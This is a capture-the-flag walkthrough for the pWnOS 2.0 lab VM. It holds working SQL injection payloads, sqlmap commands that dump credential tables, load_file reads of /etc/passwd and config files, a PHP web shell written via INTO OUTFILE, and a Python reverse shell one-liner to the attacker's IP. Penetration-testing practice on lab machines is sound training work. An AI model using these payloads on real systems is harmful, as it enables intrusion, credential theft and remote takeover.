This VM is called pWnOS 2.0 . It's a good SQL injection exercise.
The purpose of this CTF is to get root.
Let's get started!
We start with our enumeration. I've customized Mike Czumak's python enumeration scanner script, so it's a "hit enter and wait" while it runs nmap, dirb, cewl, nikto, wfuzz, some brute forcers, and a whole bunch of other things.
Looking at the "quick" nmap scan output shows several ports open:
ssh and a web server. I normally like to check out the web server first, so I fire up Burp Suite and Firefox and give it a look:
There's a login screen that we can check for SQL injection. In the interest of time I pass a simple login to Burp Suite, then add the content to sqlmap to look for any goodies:
sqlmap -u "http://pwnos/login.php" --data="email=email&pass=password&submit=Login&submitted=TRUE" --cookie=PHPSESSID=0osjtsu01sfal7bs9eggs5mna0 --level=5 --risk=3
And we discover that the "email" parameter is vulnerable to SQL injection. The UNION query type will be quite helpful in a moment.
Before getting our hands dirty, we use sqlmap to give us the password hashes within the databases we have access to:
sqlmap -u "http://pwnos/login.php" --data="email=email&pass=password&submit=Login&submitted=TRUE" --cookie=PHPSESSID=0osjtsu01sfal7bs9eggs5mna0 --level=5 --risk=3 --dbs
sqlmap -u "http://pwnos/login.php" --data="email=email&pass=password&submit=Login&submitted=TRUE" --cookie=PHPSESSID=0osjtsu01sfal7bs9eggs5mna0 --level=5 --risk=3 -D mysql -T user --dump
sqlmap -u "http://pwnos/login.php" --data="email=email&pass=password&submit=Login&submitted=TRUE" --cookie=PHPSESSID=0osjtsu01sfal7bs9eggs5mna0 --level=5 --risk=3 -D ch16 --dump
Online attempts to crack those hashes were non-productive, so we'll have to get in another way.
NOW, the OSCP frowns on the use of sqlmap in the exam, because if you really want to learn SQL injection, you have to do it by hand. So it's time for some manual SQL injection, what we came here for!
First, we send our post request to the repeater in Burp Suite so we can modify it:
email=email&pass=pass&submit=Login&submitted=TRUE
Next we find how many columns for our SELECT query by using ORDER BY. We start with 1 and continue counting upward until we get an "unknown column" error:
email=' order by 1-- -&pass=pass&submit=Login&submitted=TRUE
email=' order by 2-- -&pass=pass&submit=Login&submitted=TRUE
...
email=' order by 9-- -&pass=pass&submit=Login&submitted=TRUE
So we have 8 columns. Now let's see which one is sending output:
email=' union select 1,2,3,4,5,6,7,8-- -&pass=pass&submit=Login&submitted=TRUE
Let's replace field number 4 with a user() query to see what account MySQL is running under:
email=' union select 1,2,3,user(),5,6,7,8-- -&pass=pass&submit=Login&submitted=TRUE
It's running as root. Now let's obtain the column names from the table named "users":
email=' union select 1,2,3,group_concat(column_name),5,6,7,8 from information_schema.columns where table_name='users'-- &pass=pass&submit=Login&submitted=TRUE
Now let's grab the first user's id, first and last name, and password. Note that we have to use 0x3a in-between fields, as it is the value of a colon (:).
email=' union select 1,2,3,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,email,0x3a,pass,0x3a,user_level,0x3a),5,6,7,8 from users-- -&pass=pass&submit=Login&submitted=TRUE
The user's name is Dan Privett. We'll tuck that away if we need it.
Now let's use the load_file function to look at some files on the server. First, /etc/passwd:
email=' union select null,null,null,load_file('/etc/passwd'),null,null,null,null-- -&pass=pass&submit=Login&submitted=TRUE
There's dan's account at the bottom. Let's look at the login.php file for some credentials:
email=' union select null,null,null,load_file('/var/www/login.php'),null,null,null,null-- -&pass=pass&submit=Login&submitted=TRUE
It points us to an 'includes/config.inc.php' file, so we'll follow the trail:
email=' union select null,null,null,load_file('/var/www/includes/config.inc.php'),null,null,null,null-- -&pass=pass&submit=Login&submitted=TRUE
And this one points to '../mysqli_connect.php' so we'll take a look at it:
email=' union select null,null,null,load_file('/var/www/mysqli_connect.php'),null,null,null,null-- -&pass=pass&submit=Login&submitted=TRUE
And we have a root password for MySQL! Checking to see if root is guilty of password reuse, we try to ssh into the server using that password, to no avail. So let's write a file of our own that we can use for command injection:
email=' union select null,null,null,"<?php system($_GET['cmd']);?>",null,null,null,null into outfile '/var/www/shell.php'-- -&pass=pass&submit=Login&submitted=TRUE
We need to confirm that our shell is written successfully:
email=' union select null,null,null,load_file('/var/www/shell.php'),null,null,null,null-- -&pass=pass&submit=Login&submitted=TRUE
Yup! Our shell can be accessed at http://pwnos/shell.php?cmd=[command].
Running some commands:
http://pwnos/shell.php?cmd=uname -a
\N \N \N Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux \N \N \N \N
We see the OS and server version. Since we really want a reverse shell, let's see if python is installed:
http://pwnos/shell.php?cmd=which python
\N \N \N /usr/bin/python \N \N \N \N
Winner! Let's execute a python reverse shell one liner using our shell.php:
http://pwnos/shell.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.129",2545));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
We launch a netcat listener on our box, then hit enter with the above python one-liner, and bingo, we're in! We spawn a tty using python:
This is where things got simple, but only if you are enumerating as you go. Simply nosing around the web server directories, we traversed down one directory and saw another mysqli_connect.php. Looking at it, it had a very different password:
Is it that easy? We su to root using it, and success!!!
This is a great VM for practicing manual SQL injection.